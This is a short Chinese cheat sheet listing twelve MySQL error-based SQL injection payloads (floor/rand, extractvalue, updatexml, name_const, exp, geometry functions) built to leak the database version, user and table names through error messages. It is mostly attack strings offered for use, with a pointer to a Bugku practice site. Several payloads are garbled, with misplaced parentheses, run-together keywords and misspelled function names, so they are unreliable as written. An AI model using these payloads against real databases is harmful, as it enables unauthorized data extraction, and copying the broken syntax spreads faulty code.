SQL 报错注入

参考链接:SQL报错注入十二个函数

SQL报错注入的十二个函数

0x01 floor报错

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

0x02 ExtractValue报错

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

0x03 UpdateXml报错

and 1=(updatexml(1,concat(0x3a,(select user())),1))

0x04 NAME_CONST报错

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

0x05 join报错

select * from(select * from mysql.user ajoin mysql.user b)c;

0x06 exp报错

and exp(~(select * from (select user () ) a) );

0x07 GeometryCollection()报错

and GeometryCollection(()select *from(select user () )a)b );

0x08 polygon()报错

and polygon (()select * from(select user ())a)b );

0x09 multipoint()报错

and multipoint (()select * from(select user() )a)b );

0x10 multlinestring()报错

and multlinestring (()select * from(selectuser () )a)b );

0x11 multpolygon()报错

and multpolygon (()select * from(selectuser () )a)b );

0x12 linestring()报错

and linestring (()select * from(select user() )a)b );

bugku上有个很好的测试平台 http://www.bugku.com/thread-152-1-1.html